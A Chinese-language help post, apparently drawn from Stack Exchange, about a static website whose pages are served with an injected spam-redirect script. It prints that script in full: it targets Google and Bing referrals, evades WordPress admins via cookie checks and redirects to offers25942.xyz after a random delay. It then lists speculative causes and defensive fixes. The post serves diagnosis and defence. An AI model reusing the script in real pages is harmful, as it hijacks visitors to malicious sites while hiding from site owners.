个人业余网站遭垃圾重定向JavaScript脚本注入问题求助

问题概况 #

• 手工编写的静态HTML网站，上传至廉价虚拟主机，服务器本地存储的文件完全正常（FTP/控制面板下载无异常），但页面从服务器返回时偶尔会被追加恶意脚本。
• 脚本触发逻辑：仅当访问来源是Google/Bing搜索、且浏览器无WordPress相关Cookie时，延迟2-6秒跳转到恶意站点。
• 多设备、多浏览器、多用户均能复现，排除本地恶意软件问题；主机服务商确认服务器无恶意软件、网站文件无异常。
• 大量同类案例存在，但暂无明确公开的成因与解决方案。

恶意脚本示例 #

原页面代码片段：

<p style="text-align:center"><img src="images/home_page_header.gif" alt="index page header graphic"></p>

返回时被追加在开头的恶意脚本：

<script>((event) => {  var ref = document.referrer || '';  if (ref.length === 0) {    return;  }  ref = ref.toLowerCase();  if (ref.indexOf('google') === -1      && ref.indexOf('bing') === -1) {    return;  }  var cookie = document.cookie || '';  if (cookie.indexOf('wordpress_logged') !== -1      || cookie.indexOf('wp-settings') !== -1      || cookie.indexOf('wordpress_test') !== -1) {    return;  }  if (cookie.indexOf('wordpress-test') !== -1) {    return;  }  function generateRandomInteger(min, max) {    return Math.floor(min + Math.random()*(max - min + 1));  }  document.cookie = "wordpress-test=1; max-age=86400; path=/;";    const delay = generateRandomInteger(2000, 6000);  setTimeout(() => {    window.location.replace('http://offers25942.xyz/');  }, delay);})();</script>

核心成因推测 #

1. 主机商共用节点被劫持：廉价主机通常会共用反向代理或CDN节点，若节点被入侵，会对返回的静态内容针对性注入脚本；也可能是主机商内部流量路由环节被篡改。
2. DNS层级劫持：本地ISP或更高层级的DNS解析被恶意篡改，网站请求被导向中间恶意服务器，经过内容注入后再返回给用户。
3. 服务器输出模块被篡改：Apache/Nginx等Web服务器的输出过滤模块（如mod_substitute）被植入后门，对符合搜索引擎来源条件的请求，动态注入恶意脚本，而本地文件不受影响。

可行解决办法 #

临时缓解 #

• 启用内容安全策略（CSP）：在HTML头部添加以下代码，阻止外部恶意脚本执行：

  <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
  

• 强缓存静态文件：通过.htaccess（Apache）配置静态文件缓存，减少动态返回时被注入的概率：

  <FilesMatch "\.(html|htm)$">
      Header set Cache-Control "public, max-age=86400"
  </FilesMatch>
  

• 开启HTTPS与HSTS：加密传输并强制浏览器使用HTTPS，防止明文流量被劫持，在.htaccess添加：

  Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
  

彻底排查 #

• 向主机商索要详细访问日志，核对请求来源、返回内容长度与实际文件大小是否匹配，寻找异常记录。
• 更换公共DNS服务器测试，确认是否为DNS劫持导致。
• 直接通过服务器IP访问网站（绕过域名解析），判断问题出在DNS层还是主机商服务层。
• 检查Web服务器配置文件（如Apache的httpd.conf、Nginx的nginx.conf），确认是否存在异常的输出过滤规则或恶意模块。

内容的提问来源于stack exchange，提问作者Stuart C